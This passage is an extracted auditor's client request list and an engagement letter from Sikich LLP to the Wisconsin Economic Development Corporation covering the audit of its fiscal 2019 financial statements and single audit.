2. Request for payment during MONTH 201X
3. AR Reconciliation for MONTH 201X
4. W9 prepared for new vendor during the year
5. Signed memo for purchase request over $10,000 and related invoice (from MONTH 201X)
6. Operating bank reconciliation for MONTH 201X
Loans/Awards:
7. List of new Awards during MONTH 201X
8. Forgiveness letter for loan forgiven during the year
9. Listing of award closeouts - will need to view award closeout assessment for one

Cash

26
Longterm Debt
27

Investment manager
Bond Issues

28

Bonds Refunded

29

List of grants

30
31
32

Grant Agreements
Correspondence
Grant Revenue

Copies of all new custodial or safekeeping agreements with the brokers used by WEDC
List of all petty cash funds used by WEDC including amount of petty cash fund and the person responsible for
maintaining custody over the fund.
Copy of any new investment manager agreements for WEDC
Copy of all bond indentures and official statements for any bonds issued from July 1, 2018, through the date of
our preliminary fieldwork (excluding IDBs or IRBs)
For any bonds refunded during the year, a calculation of the economic gain or loss and cash flow in accordance
with GASB-7 and any gain or loss

Grants

Loans Receivable
33
Loans Receivable Listing

34

Confirmations for selected loans

Prior year information
35
Confirmations
36
Internal Control Narratives
37
GFOA Comments and Certificate
38

Actuary Reports

List of all federal and state grants received by WEDC, identifying the agency (i.e., federal granting agency, state
agency or other pass-through agency), the CFDA number, and the amount of funds received and whether the
funds represent state or federal funds
Copy of all grant agreements which have been included in the listing above.
Copies of all correspondence received from grantor agencies during fiscal year 2019
Listing of all federal and state grants revenue, receivable and deferred revenue identifying the federal granting
agency or the state or other pass-through agency. Please note revenue should be recorded based on the
underlying expenditures incurred through June 30, 2019 for each grant.
Detail listing of all loans receivable outstanding ("State Loan Receivables" and "State Loan Portfolio"
spreadsheet, which ties to the TB and which includes allowance %, principal allowance amount and interest
allowance amount) (for selection to send confirmations)
Please prepare and provide confirmations for each loan selected for testing (Sikich will provide the sample and
the template)
Updated confirmations prepared by WEDC for the current year (Sikich to provide templates)
Updated internal control narratives (Sikich to email prior year narratives for your review)
Copy of the comments and suggestions for improvement from the Certificate of Achievement for Excellence in
Financial Reporting for the June 30, 2018 CAFR
Copy of the most recent actuary reports for the OPEB

Due Date

Wisconsin Economic Development Corp.
Final Client Request List
Due Date - Not Set
Category
General

ID

Name

Description

1

Trial Balance

2

General Ledger Detail

3

Fund Balance Restrictions

4

WRS Contributions

Copy of the June 30, 2019 adjusted trial balance with actual vs. original budget and final
budget amounts
General ledger detail for July 1, 2018 - June 30, 2019 for all balance sheet accounts,
revenues and expenditures
Listing of any restrictions, commitments or assignments of fund balance, with explanations
to be reported on the fund financial statements at June 30, 2019
Summary of contributions by WEDC and its employees to the WRS fund for fiscal year 2019

5
6

Budget Transfers
Electronic reports

7

Financial Statements

8

Bank Reconciliations

9

Bank Statements

10

Collateral Statements

11

Wire transfers

List of wire transfers (note between bank accounts or for payroll taxes) from July 1, 2018 to
June 30, 2019

12

Schedule of investments

13
14
15

Investment gains/losses
Broker statements
Investment categorization

Schedule of investments which agrees to the general ledger. (Schedule should identify
investment, purchase date, purchase price, cost or amortized cost at June 30, 2019 and
market value as of the same date)
Schedule of investment gains and losses (realized and unrealized)
Access to all broker statements as of June 30, 2019
Categorization of all investments and deposits by risk (GASB 40 footnote disclosure)

Leveling information
Investment interest

Leveling information for all investments (GASB 72 footnote disclosure)
Investment interest revenue analytical review

Listing of accounts receivable

Detail listing of accounts receivable at June 30, 2019, reconciled to the general ledger

Subsequent cash receipts

Provide subsequent cash receipt copies or other source documentation supporting
accounts receivable balances over $150,000 at June 30, 2019

Loan receivable rollforward

Rollforward of loan receivable balances from June 30, 2018 to June 30, 2019, reconciled to
the general ledger
Schedule showing the calculation of the allowance for doubtful loans, with an
understanding of the methodology used to reserve for balances considered potentially
uncollectible.
Detail of loan interest receivable balances at June 30, 2019, reconciled to the general ledger

Copy of any budget transfers/amendments for 2018 and 2019
Electronic (excel or pdf) reports as of and for the year ending June 30, 2019 : 1) Billing
register of all funding sources; 2) Loan receivable aging by customer; 3) Interest receivable
listing; 4) Expenditure report by vendor for all expenditures paid during the year; 5) List of
vendors
Draft of the financial statements with footnotes

Cash
Copies of all bank reconciliations (including outstanding check lists) for all accounts as of
June 30, 2019, tied out to the general ledger accounts.
Access to all bank statements as of June 30, 2019 and all bank statements and media (e.g.,
canceled checks) as of July 31, 2019
Statements of collateral as of June 30, 2019, for all financial institutions at which WEDC
maintains deposits. Provide copies of any collateral agreements that exist.

Investments

16
17
Accounts Receivable
18
19
Loans Receivable
20
21

Schedule of allowance for doubtful loans

22

Loan interest receivable

23
24

Loan interest revenue
Schedule of allowance for doubtful interest

25

Support for Loans Selected for Testing

26

Summary schedule of changes

Summary schedule of changes in capital assets including construction in progress,
intangible assets (i.e., software) by function (i.e., general gov't, economic development,
marketing) and by category (i.e., land, buildings, leasehold improvements, equipment, etc)

27

Detail listing of additions

28

Detail listing of deletions

Detialed listing of additions in fiscal 2019 that ties to the schedule above. Please identify
which FUNCTION (i.e., general gov't economic development, marketing, etc) that the asset
was purchsed from.
Detailed listing of deletions in fiscal 2019 that ties to the schedule above. Please provide
dollar amount and support of the amount of any proceeds (including insurance
proceeds)/trade in received (e.g., board approval for sale of surplus equipment, invoice).
We will need this in order to calculate the gain/loss on disposal of the asset.

29

Detail schedule

Loan interest revenue analytic review
Schedule showing the calculation of the allowance for doubtful interest balances, with an
understanding of the methodology used to reserve for balances considered potentially
uncollectible.
Sikich will provide listing

Capital Assets

Prepaid Expenses
30
Prepaid Expense
Accounts Payable & Accrued Liabilities
31
Listing of accounts payable
32
Subsequent check register
33
34
35

Schedule of accrued partnership
Schedule of other accrued expenses
Deferred revenue

Detailed schedule(s), by asset, of depreciation of capital assets and infrastructure
(beginning balance at 7/1/18, additions, deletions, ending balance at 6/30/19)
Prepaid expense reconciliation for accounts 1300 & 1301 as of June 30, 2019
Detail listing of accounts payable, agreed to general ledger.
Copies of check register for the period July 1, 2018 through first date of final fieldwork.
Please include any manual checks written or wire transfers made.
Schedule of accrued partnership support for account 2010 as of June 30, 2019
Schedule of other accrued expenses for account 2050 as of June 30, 2019
Analysis of deferred revenue account 2500 as of June 30, 2019

Due Date

Net Position
36

Rollforward of net position

37

Analysis of fund balance

38

Movement of fund balance

39

State of Wisconsin Appropriations

40

Other Sources of Revenue

Rollforward of net position by category (restricted and unrestricted) from July 1, 2018 to
June 30, 2019
Analysis of the fund balance classifications (nonspendable, restricted, committed, assigned,
unassigned)
Any memorandums voted on that will move funding from unassignable to restricted fund
balance.

Revenues

Payroll Expenses
41
42

Payroll Transactions
Monthly state pension reports

43
44

ProData earnings report
Personnel by department

45
46
47
48

WRS Footnote
Quarterly 941's
Health Insurance invoices
ProData reports

Grant Disbursements
49
Schedule of grant disbursements

Schedule of State of Wisconsin appropriates for fiscal 2019, tied out to the State of
Wisconsin budget bill.
Provide support for any other sources of revenue that exceeded $500,000 in fiscal 2019, if
applicable (exclude grants for which confirmations were prepared)
Listing of all payroll transactions from July 1, 2018 through June 30, 2019
Access to monthly state pension reports for fiscal 2019 with support for Wisconsin
Retirement Liability at June 30, 2019
ProData fiscal year earnings report
Listing of number of personnel by department or program, with budget and actual
expenditures for fiscal 2018 and 2019
Support for WRS pension footnote
Copies of the 4 quarterly 941's for fiscal 2019
Copies of monthly health insurance invoices
ProData reports: payroll registers for first two pay DATES in FY20, Pre-Tax employee
deductions payroll report for all pay periods that related entirely to FY19

50

Support for Grants Selected for Testing

Schedule of grant disbursements for the year ended June 30, 2019 which reconciles to
general ledger
Sikich will provide listing of samples selected

51
52
53

SEFA
Reimbursement Requests
Matching Expenditures

Schedule of Expenditures of Federal Awards for FY19, with GL support
Listing of all reimbursement requests made for FY19
Please provide a listing of all expenditures used to fulfill the match requirement for FY19

54

Reports

Please provide copies of all reports due during the year (SF-425, and performance reports)
including approvals.

55
56
57
58

Lease payments
Loan guarantees
Debt rollforward
Census data

Summary of lease payments for footnote to tie to G/L
Summary of loan guarantees for footnote
Debt roll forward with details for capital lease, PTO, sick, etc
Census data population/listing as of 12/31/18 sent to WRS of employees enrolled in WRS

Single Audit

Other Items

April xx, 2019

Mr. Brian Nowicki
Chief Financial Officer
Wisconsin Economic Development Corporation
201 W. Washington Ave.
Madison, WI 53703
Dear WEDC:
This engagement letter (the “Agreement”) between Sikich LLP, an Illinois limited liability partnership,
(“Sikich,” “we,” “us” or “our”) and Wisconsin Economic Development Corporation (the “Client,” “you” or “your”)
sets forth the mutual agreements of the parties regarding the audit of the Client’s basic financial statements
for the year ended June 30, 2019 (the “Services”).
The Services will include an audit the financial statements of the governmental activities and major fund,
which collectively comprise the basic financial statements of the Client as of and for the year ended June 30,
2019.
Accounting standards generally accepted in the United States of America provide for certain required
supplementary information (“RSI”), such as management’s discussion and analysis (“MD&A”), to
supplement the Client’s basic financial statements. Such information, although not a part of the basic
financial statements, is required by the Governmental Accounting Standards Board who considers it to be
an essential part of financial reporting for placing the basic financial statements in an appropriate
operational, economic, or historical context. As part of our Services, we will apply certain limited procedures
to the Client’s RSI in accordance with auditing standards generally accepted in the United States of America.
These limited procedures will consist of inquiries of management regarding the methods of preparing the
information and comparing the information for consistency with management’s responses to our inquiries,
the basic financial statements and other knowledge we obtained during our audit of the basic financial
statements. We will not express an opinion or provide any assurance on the information because the limited
procedures do not provide us with sufficient evidence to express an opinion or provide any assurance. The
following RSI is required by generally accepted accounting principles and will be subjected to certain limited
procedures, but will not be audited:
1. Management's Discussion and Analysis
2. Schedule of WEDC's Proportionate Share of the Net Pension Liability (Asset) and Schedule of
Contributions
We have also been engaged to report on supplementary information other than RSI that accompanies the
Client’s financial statements. We will subject the following supplementary information to the auditing
procedures applied in our audit of the financial statements and certain additional procedures, including
comparing and reconciling such information directly to the underlying accounting and other records used to
prepare the financial statements or to the financial statements themselves and other additional procedures
in accordance with auditing standards generally accepted in the United States of America and we will
provide an opinion on it in relation to the financial statements as a whole in a report combined with our
auditor’s report on the financial statements:
1. Schedule of Revenues and Expenditures - Budget and Actual
2. Schedule of Expenditures of State and Federal Awards, if necessary

Wisconsin Economic Development Corporation
April xx, 2019
Page 2

The following other information accompanying the financial statements will not be subjected to the auditing
procedures applied in our audit of the financial statements and our auditor’s report will not provide an opinion
or any assurance on that other information.
1. Introductory Section
2. Statistical Section

AUDIT OBJECTIVE
The objective of our audit is the expression of opinions as to whether your financial statements are fairly
presented, in all material respects, in conformity with U.S. generally accepted accounting principles and to
report on the fairness of the supplementary information referred to in the second paragraph when
considered in relation to the financial statements as a whole. If required, the objective also includes reporting
on—
▪

Internal control related to the financial statements and compliance with the provisions of laws,
regulations, contracts and grant agreements, noncompliance with which could have a material
effect on the financial statements in accordance with Government Auditing Standards.

▪

Internal control related to major programs and an opinion (or disclaimer of opinion) on compliance
with laws, regulations and the provisions of contracts or grant agreements that could have a direct
and material effect on each major program in accordance with the Single Audit Act Amendments
of 1996, the audit requirements of Title 2 U.S. Code of Federal Regulations (CFR) Part 200, Uniform
Administrative Requirements, Cost Principles, and Audit Requirements for Federal Awards
(Uniform Guidance), and State Single Audit Guidelines issued by the State of Wisconsin
Department of Administration.

If required, the Government Auditing Standards report on internal control over financial reporting and on
compliance and other matters will include a paragraph that states (1) the purpose of the report is solely to
describe the scope of testing of internal control and compliance and the results of that testing and not to
provide an opinion on the effectiveness of the Client’s internal control or on compliance and (2) the report
is an integral part of an audit performed in accordance with Government Auditing Standards in considering
the Client’s internal control and compliance. If required, the Uniform Guidance report on internal control
over compliance will include a paragraph that states that the purpose of the report on internal control over
compliance is solely to describe the scope of testing of internal control over compliance and the results of
that testing based on the requirements of the Uniform Guidance and State Single Audit Guidelines. Both
reports will state that the report is not suitable for any other purpose.
Our audit will be conducted in accordance with auditing standards generally accepted in the United States
of America; and if required, the standards for financial audits contained in Government Auditing Standards,
issued by the Comptroller General of the United States; the Single Audit Act Amendments of 1996; the
provisions of the Uniform Guidance, and State Single Audit Guidelines and will include tests of accounting
records, a determination of major program(s) in accordance with the Uniform Guidance and State Single
Audit Guidelines and other procedures we consider necessary to enable us to express such opinions and
to render the required reports. We cannot provide assurance that unmodified opinions will be expressed.
Circumstances may arise in which it is necessary for us to modify our opinions or add emphasis-of-matter
or other-matter paragraphs. If our opinions on the financial statements or the Single Audit compliance
opinions are other than unmodified, we will discuss the reasons with you in advance.
If circumstances occur related to the condition of your records, the availability of sufficient, appropriate audit
evidence, or the existence of a significant risk of material misstatement of the financial statements caused
by error, fraudulent financial reporting, or misappropriation of assets, which in our professional judgment
prevent us from completing the audit or forming an opinion on the financial statements, we retain the right
to take any course of action permitted by professional standards, including declining to express an opinion
or issue a report, or withdrawing from the Agreement.
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OTHER SERVICES
Other nonaudit Services provided do not constitute an audit under Government Auditing Standards and
such Services will not be conducted in accordance with Government Auditing Standards.
Other nonaudit Services expected to be performed during our audit of the financial statements as of and for
the year ended June 30, 2019 and other deliverables are as follows:
▪

▪
▪

Prepare fifty (50) copies and one electronic copy (.pdf) of the comprehensive annual financial report
(CAFR) of the Corporation (financial statements, notes, report covers, binders, dividers,
introductory section, Management's Discussion and Analysis, other supplemental information and
statistical section information to be provided by Corporation).
Prepare twenty (20) copies of the management letter.
Assist the Corporation in submitting its comprehensive annual financial report (CAFR) to the
Certificate of Achievement for Excellence in Financial Reporting Program, including preparation of
the GFOA's Certificate Responses and review of the application materials.

AUDIT PROCEDURES - GENERAL
An audit includes examining, on a test basis, evidence supporting the amounts and disclosures in the
financial statements; therefore, our audit will involve judgment about the number of transactions to be
examined and the areas to be tested. An audit also includes evaluating the appropriateness of accounting
policies used and the reasonableness of significant accounting estimates made by management, as well
as evaluating the overall presentation of the financial statements. We will plan and perform the audit to
obtain reasonable rather than absolute assurance about whether the financial statements are free of
material misstatement, whether from (1) errors, (2) fraudulent financial reporting, (3) misappropriation of
assets, or (4) violations of laws or governmental regulations that are attributable to the government or to
acts by management or employees acting on behalf of the government. Because the determination of abuse
is subjective, Government Auditing Standards do not expect auditors to provide reasonable assurance of
detecting abuse.
Because of the inherent limitations of an audit, combined with the inherent limitations of internal control,
and because we will not perform a detailed examination of all transactions, there is a risk that material
misstatements or noncompliance may exist and not be detected by us, even though the audit is properly
planned and performed in accordance with U.S. generally accepted auditing standards and, if required,
Government Auditing Standards. In addition, an audit is not designed to detect immaterial misstatements
or violations of laws or governmental regulations that do not have a direct and material effect on the financial
statements or major programs. However, we will inform the appropriate level of management of any material
errors or any fraudulent financial reporting or misappropriation of assets that come to our attention. We will
also inform the appropriate level of management of any violations of laws or governmental regulations that
come to our attention, unless clearly inconsequential, and of any material abuse that comes to our attention.
If required, we will include such matters in the reports required for a Single Audit.
Our procedures will include tests of documentary evidence supporting the transactions recorded in the
accounts and may include tests of the physical existence of inventories and direct confirmation of
receivables and certain other assets and liabilities by correspondence with selected individuals, funding
sources, creditors and financial institutions. We will request written representations from your attorneys as
part of the engagement and they may bill you for responding to this inquiry. At the conclusion of our audit,
we will require certain written representations from you about your responsibilities for the financial
statements; schedule of expenditures of federal and state awards; federal and state awards programs;
compliance with laws, regulations, contracts and grant agreements; and other responsibilities required by
generally accepted auditing standards.
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AUDIT PROCEDURES - INTERNAL CONTROL
Our audit will include obtaining an understanding of the government and its environment, including internal
control, sufficient to assess the risks of material misstatement of the financial statements and to design the
nature, timing and extent of further audit procedures. Tests of controls may be performed to test the
effectiveness of certain controls that we consider relevant to preventing and detecting errors and fraud that
are material to the financial statements and to preventing and detecting misstatements resulting from illegal
acts and other noncompliance matters that have a direct and material effect on the financial statements.
Our tests, if performed, will be less in scope than would be necessary to render an opinion on internal
control and, accordingly, no opinion will be expressed in our report on internal control issued pursuant to
Government Auditing Standards.
As required by the Uniform Guidance and State Single Audit Guidelines, we will perform tests of controls
over compliance to evaluate the effectiveness of the design and operation of controls that we consider
relevant to preventing or detecting material noncompliance with compliance requirements applicable to
each major federal and major state award program. However, our tests will be less in scope than would be
necessary to render an opinion on those controls and, accordingly, no opinion will be expressed in our
report on internal control issued pursuant to the Uniform Guidance and State Single Audit Guidelines.
An audit is not designed to provide assurance on internal control or to identify significant deficiencies or
material weaknesses. Accordingly, we will express no such opinion. However, during the audit, we will
communicate to management and those charged with governance internal control related matters that are
required to be communicated under AICPA professional standards, and if required, Government Auditing
Standards, the Uniform Guidance, and State Single Audit Guidelines.

AUDIT PROCEDURES - COMPLIANCE
As part of obtaining reasonable assurance about whether the financial statements are free of material
misstatement, we will perform tests of the Client’s compliance with provisions of applicable laws, regulations,
contracts and agreements, including grant agreements. However, the objective of those procedures will not
be to provide an opinion on overall compliance and we will not express such an opinion in our report on
compliance issued pursuant to Government Auditing Standards.
Uniform Guidance and State Single Audit Guidelines require that we also plan and perform the audit to
obtain reasonable assurance about whether the auditee has complied with applicable laws and regulations
and the provisions of contracts and grant agreements applicable to major programs. Our procedures, if
required, will consist of tests of transactions and other applicable procedures described in the OMB
Compliance Supplement and State Single Audit Guidelines for the types of compliance requirements that
could have a direct and material effect on each of the Client’s major programs. The purpose of these
procedures will be to express an opinion on the Client’s compliance with requirements applicable to each
of its major programs in our report on compliance issued pursuant to the Uniform Guidance and State Single
Audit Guidelines.

MANAGEMENT RESPONSIBILITIES
Management is responsible for designing, implementing, establishing, and maintaining effective internal
controls relevant to the preparation and fair presentation of financial statements that are free from material
misstatement, whether due to fraud or error, including internal controls over compliance and for evaluating
and monitoring ongoing activities, to help ensure that appropriate goals and objectives are met, following
laws and regulations, and ensuring that there is reasonable assurance that government programs are
administered in compliance with compliance requirements. You are also responsible for the selection and
application of accounting principles; for the preparation and fair presentation of the financial statements,
schedule of expenditures of federal and state awards, and all accompanying information in conformity with
U.S. generally accepted accounting principles; and for compliance with applicable laws and regulations and
the provisions of contracts and grant agreements.
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Management is also responsible for making all financial records and related information available to us and
for the accuracy and completeness of that information. You are also responsible for ensuring that
management and financial information is reliable and properly reported. You are also responsible for
providing us with (1) access to all information of which you are aware that is relevant to the preparation and
fair presentation of the financial statements, (2) additional information that we may request for the purpose
of the audit, and (3) unrestricted access to persons within the government from whom we determine it
necessary to obtain audit evidence.
Your responsibilities also include identifying significant vendor relationships in which the vendor has
responsibility for program compliance and for the accuracy and completeness of that information. Your
responsibilities include adjusting the financial statements to correct material misstatements and confirming
to us in the management representation letter that the effects of any uncorrected misstatements aggregated
by us during the current engagement and pertaining to the latest period presented are immaterial, both
individually and in the aggregate, to the financial statements taken as a whole.
You are responsible for the design and implementation of programs and controls to prevent and detect
fraud, and for informing us about all known or suspected fraud affecting the government involving (1)
management, (2) employees who have significant roles in internal control and (3) others where the fraud
could have a material effect on the financial statements. Your responsibilities include informing us of your
knowledge of any allegations of fraud or suspected fraud affecting the government received in
communications from employees, former employees, grantors, regulators, or others. In addition, you are
responsible for identifying and ensuring that the government complies with applicable laws, regulations,
contracts, agreements and grants. Additionally, as required by the Uniform Guidance and State Single Audit
Guidelines, it is management’s responsibility to follow up and take corrective action on reported audit
findings and to prepare a summary schedule of prior audit findings and a corrective action plan. The
summary schedule of prior audit findings should be available for our review.
You are responsible for identifying all federal and state awards received and understanding and complying
with the compliance requirements and for the preparation of the schedule of expenditures of federal and
state awards (including notes and noncash assistance received) in conformity with the Uniform Guidance
and State Single Audit Guidelines, if required. You agree to include our report on the schedule of
expenditures of federal and state awards in any document that contains and indicates that we have reported
on the schedule of expenditures of federal and state awards. You also agree to include the audited financial
statements with any presentation of the schedule of expenditures of federal and state awards that includes
our report thereon or make the audited financial statements readily available to intended users of the
schedule of expenditures of federal and state awards no later than the date the schedule of expenditures
of federal and state awards is issued with our report thereon. Your responsibilities include acknowledging
to us in the written representation letter that (1) you are responsible for presentation of the schedule of
expenditures of federal and state awards in accordance with the Uniform Guidance and State Single Audit
Guidelines; (2) you believe the schedule of expenditures of federal and state awards, including its form and
content, is fairly presented in accordance with the Uniform Guidance and State Single Audit Guidelines; (3)
the methods of measurement or presentation have not changed from those used in the prior period (or, if
they have changed, the reasons for such changes); and (4) you have disclosed to us any significant
assumptions or interpretations underlying the measurement or presentation of the schedule of expenditures
of federal and state awards.
You are also responsible for the preparation of the other supplementary information, which we have been
engaged to report on, in conformity with U.S. generally accepted accounting principles. You agree to include
our report on the supplementary information in any document that contains and indicates that we have
reported on the supplementary information. You also agree to include the audited financial statements with
any presentation of the supplementary information that includes our report thereon or make the audited
financial statements readily available to users of the supplementary information no later than the date the
supplementary information is issued with our report thereon. Your responsibilities include acknowledging to
us in the written representation letter that (1) you are responsible for presentation of the supplementary
information in accordance with GAAP; (2) you believe the supplementary information, including its form and
content, is fairly presented in accordance with GAAP; (3) the methods of measurement or presentation
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have not changed from those used in the prior period (or, if they have changed, the reasons for such
changes); and (4) you have disclosed to us any significant assumptions or interpretations underlying the
measurement or presentation of the supplementary information.
Management is responsible for establishing and maintaining a process for tracking the status of audit
findings and recommendations. Management is also responsible for identifying and providing report copies
of previous financial audits, attestation engagements, performance audits, or other studies related to the
objectives discussed in the Audit Objective section of this letter. This responsibility includes relaying to us
corrective actions taken to address significant findings and recommendations resulting from those audits,
attestation engagements, performance audits, or studies. You are also responsible for providing
management’s views on our current findings, conclusions and recommendations, as well as your planned
corrective actions, for the report and for the timing and format for providing that information.
With regard to the electronic dissemination of audited financial statements, including financial statements
published electronically on your website, you understand that electronic sites are a means to distribute
information and, therefore, we are not required to read the information contained in these sites or to consider
the consistency of other information in the electronic site with the original document.
You agree to assume all management responsibilities relating to the financial statements, schedule of
expenditures of federal and state awards, related notes and any other non-audit Services we provide. You
will be required to acknowledge in the management representation letter our assistance with preparation of
the financial statements, schedule of expenditures of federal and state awards and related notes and that
you have reviewed and approved the financial statements, schedule of expenditures of federal and state
awards and related notes prior to their issuance and have accepted responsibility for them. Further, you
agree to oversee the nonaudit Services by designating an individual, preferably from senior management,
who possesses suitable skill, knowledge, or experience; evaluate the adequacy and results of those
Services; and accept responsibility for them.

ENGAGEMENT ADMINISTRATION, FEES AND OTHER
In accordance with professional standards, any discussions during the period of the Agreement between
any individual representing the Client and a member of the Sikich engagement team regarding potential
employment or association with the Client creates an impairment of independence for the Sikich employee
and possibly Sikich. Such a situation could require us to temporarily or permanently remove that person
from your engagement or to perform additional procedures or re-perform procedures, which would increase
our fees. Should we not become aware of the impairment until after the conclusion of the provision of
Services, Sikich’s independence would be deemed to have been impaired. Please inform appropriate Client
personnel to refrain from any such discussions with any Sikich staff while the engagement is ongoing and
notify Daniel A. Berg immediately if you or anyone else at the Client becomes aware that any such
discussions may have occurred.
In the event that you desire to hire a member of the Sikich staff within one year of the completion of this
Agreement, a recruiting fee will be assessed at 30% of the first year salary per hire and paid to Sikich upon
our notification of such hiring.
We may from time-to-time and depending on the circumstances, use third party service providers in serving
your account. We may share confidential information about you with these service providers, but remain
committed to maintaining the confidentiality and security of your information. Accordingly, we maintain
internal policies, procedures and safeguards to protect the confidentiality of your personal information. In
addition, we will secure confidentiality agreements with all service providers to maintain the confidentiality
of your information and we will take reasonable precautions to determine that they have appropriate
procedures in place to prevent the unauthorized release of your confidential information to others. In the
event that we are unable to secure an appropriate confidentiality agreement, you will be asked to provide
your consent prior to the sharing of your confidential information with the third party service provider.
Furthermore, we will remain responsible for the work provided by any such third party service providers
engaged by us.
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Client hereby explicitly acknowledges and consents to Sikich’s use of third-party cloud computing services
to store confidential and proprietary information and other data of the Client, and agrees that Sikich’s use
of such cloud services coupled with the use of encrypted devices, password protections and firewall
protection shall constitute the best efforts of Sikich to safeguard such information and data from
unauthorized disclosure. Client further agrees that, subject to applicable law, Sikich shall only be liable if it
has finally judicially been determined that Sikich did not take commercially reasonable measures to protect
the confidential and proprietary information and other data of the Client from unauthorized disclosure.
The assistance to be supplied by Client personnel is described in the workpaper request lists for preliminary
(interim) and final fieldwork, which outline the specific schedules and information we are requesting for this
Agreement. The workpaper request lists will be discussed with and coordinated with Brian Nowicki, Chief
Financial Officer. The timely and accurate completion of this work is an essential condition to our completion
of the audit and issuance of our audit report. This Agreement assumes that all records, documentation and
information we requested in connection with our audit (and outlined in the workpaper request lists) are
complete and available at the beginning of the respective phases of the engagement. It also assumes that
key personnel are available to us during the duration of the audit. The accuracy of these assumptions will
allow us to conduct our audit without any delays or inefficiencies for the fee noted in this Agreement. If the
assumptions are not accurate and you fail to provide the records, documentation, information and key
personnel required, there may be additional fees to cover our cost for the delays and possible rescheduling
of the engagement. If significant additional time is necessary, we will discuss it with you and arrive at a new
fee estimate before we incur the additional costs.
We understand that your employees will prepare all cash, accounts receivable and other confirmations we
request and will locate any documents selected by us for testing.
You may request that we perform additional services not contemplated by this Agreement. If this occurs,
we will communicate with you regarding the scope of the additional services and the estimated fees. We
also may issue a separate engagement letter covering the additional services. In the absence of any other
written communication from us documenting such additional services, our services will continue to be
governed by the terms of this Agreement. Notwithstanding the foregoing, this Agreement will not include
any services related to the Affordable Care Act or consideration of taxable fringe benefits including those
impacted by Affordable Care Act; in all circumstances, services related to the Affordable Care Act and other
taxable fringe benefit reporting will be the subject of a separate engagement letter and will be billable under
a separate hourly rate structure than the Services provided hereunder.
At the conclusion of the engagement, if required, we will complete the appropriate sections of the Data
Collection Form that summarizes our audit findings. It is management’s responsibility to submit the reporting
package (including financial statements, schedule of expenditures of federal and state awards, summary
schedule of prior audit findings, auditor’s reports and corrective action plan) along with the Data Collection
Form to the federal audit clearinghouse. We will coordinate with you the electronic submission and
certification. If applicable, we will provide copies of our report for you to include with the reporting package
you will submit to pass-through entities. The Data Collection Form and the reporting package must be
submitted within the earlier of 30 days after receipt of the auditor’s reports or nine months after the end of
the audit period, unless a longer period is agreed to in advance by the cognizant or oversight agency for
audits.
We will provide copies of our reports to the Client; however, management is responsible for distribution of
the reports and the financial statements. Unless restricted by law or regulation, or containing privileged and
confidential information, copies of our report are to be made available for public inspection.
The audit documentation for this Agreement is the property of Sikich and constitutes confidential information.
However, subject to applicable laws and regulations, audit documentation and appropriate individuals will
be made available upon request and in a timely manner to a cognizant or oversight agency for audit or its
designee, a federal or state agency providing direct or indirect funding, or the U.S. Government
Accountability Office for purposes of a quality review of the audit, to resolve audit findings, or to carry out
oversight responsibilities. We will notify you of any such request. If requested, access to such audit
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documentation will be provided under the supervision of Sikich personnel. Furthermore, upon request, we
may provide copies of selected audit documentation to the aforementioned parties. These parties may
intend, or decide, to distribute the copies or information contained therein to others, including other
governmental agencies.
As a result of our prior or future services to you, we might be requested or required to provide information
or documents to you or a third party in a legal, administrative, regulatory inquiry (other than that mentioned
in the previous paragraph) or arbitration or similar proceeding in which we are not a party. If this occurs,
our efforts in complying with such requests will be deemed billable to you as a separate engagement. We
shall be entitled to compensation for our time and reasonable reimbursement for our expenses (including
legal fees) in complying with the request.
The audit documentation for this Agreement will be retained for a minimum of seven years after the report
release date or for any additional period requested by the cognizant a or oversight agency for audit, or passthrough entity. If we are aware that a federal or state awarding agency, pass-through entity, or auditee is
contesting an audit finding, we will contact the party(ies) contesting the audit finding for guidance prior to
destroying the audit documentation. Sikich does not keep any original client records so we will return those
to you at the completion of the Services rendered under this Agreement. When records are returned to you,
it is your responsibility to retain and protect your records for possible future use, including potential
examination by any government or regulatory agencies.
Final reports will be issued upon your approval of the preliminary drafts. Our audit engagement ends on
delivery of our audit report. Any follow-up services that might be required will be a separate, new
engagement. The terms and conditions of that new engagement will be governed by a new, specific
engagement letter for that service. Daniel A. Berg is the engagement partner and is responsible for
supervising the engagement and signing the reports or authorizing another individual to sign them.
Our fees for the Services are detailed in the attached Addendum 1.
Services will be invoiced to you from time-to-time as work progresses. Invoices not paid within sixty days
are subject to finance charges of 1% per month (12% annually).
We reserve the right to suspend or terminate Services for reasonable cause, such as failure to pay our
invoices on a timely basis or failure to provide the information or cooperation necessary for successful
performance of the Services. Our Services will be deemed to be completed upon written notification of
termination, even if we have not completed our report. You will be obligated to compensate us for the time
expended to that point and to reimburse us for all out-of-pocket expenditures through the date of termination.
You hereby agree to indemnify and hold harmless Sikich and its partners, directors, employees, agents or
subcontractors against all costs, expenses, losses, judgments, damages and liabilities (including
reasonable attorneys’ fees and expenses) associated with any third party claim, threat or proceeding
relating to the performance of the Services by Sikich under this Agreement, other than as determined
through mediation to have been caused by our own gross negligence or willful misconduct.
You agree that our maximum liability to you for any negligent errors or omissions committed by us in the
performance of the Services will be limited to the amount of fees we receive from you under this Agreement,
except to the extent determined to result from our gross negligence or willful misconduct. You agree that
this limitation applies to any and all liability or cause of action against us, however alleged or arising, unless
otherwise prohibited by law or professional standards. Additionally, our liability as auditors shall be limited
to the period covered by our audit and shall not extend to later periods for which we are not engaged as
auditors or prior periods before we were engaged as auditors. In no event will Sikich be liable to you or any
third party, whether a claim be in tort, contract or otherwise, for any amount in excess of the total
professional fees paid pursuant to this Agreement to which the claim relates, or for any consequential,
indirect, lost profit, punitive or similar damages relating to Sikich’s Services provided under this Agreement.
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If any dispute, controversy or claim arises in connection with the performance or breach of the Agreement,
either party may, on written notice to the other party, request that the matter be mediated. Such mediation
will be conducted by a mediator appointed by and pursuant to the Mediation Rules of the American
Arbitration Association. Both parties will exert their best efforts to discuss with each other in good faith their
respective positions in an attempt to finally resolve such dispute or controversy. Each party may disclose
any facts to the other party or the mediator which it, in good faith, considers necessary to resolve the matter.
All such discussions, however, will be for the purpose of assisting in settlement efforts and will not be
admissible in any subsequent litigation against the disclosing party. Except as agreed by both parties, the
mediator will keep confidential all information disclosed during negotiations. The mediation proceedings will
conclude within sixty days from receipt of the written notice unless extended or terminated sooner by mutual
consent. Each party will be responsible for its own expenses. The fees and expenses of the mediator, if
any, will be borne equally by the parties.

ACCEPTANCE
You acknowledge having read this Agreement in its entirety, have had full opportunity to consider its terms
in consultation with your attorney, have had full and satisfactory explanation of the same and fully
understand and agree to be bound by the terms of this Agreement.
Please indicate your understanding and acceptance of this Agreement and your intention to be legally
bound hereby by executing this Agreement in the space provided below where indicated and return it to our
offices, indicating your authorization for us to proceed on the above terms and conditions.
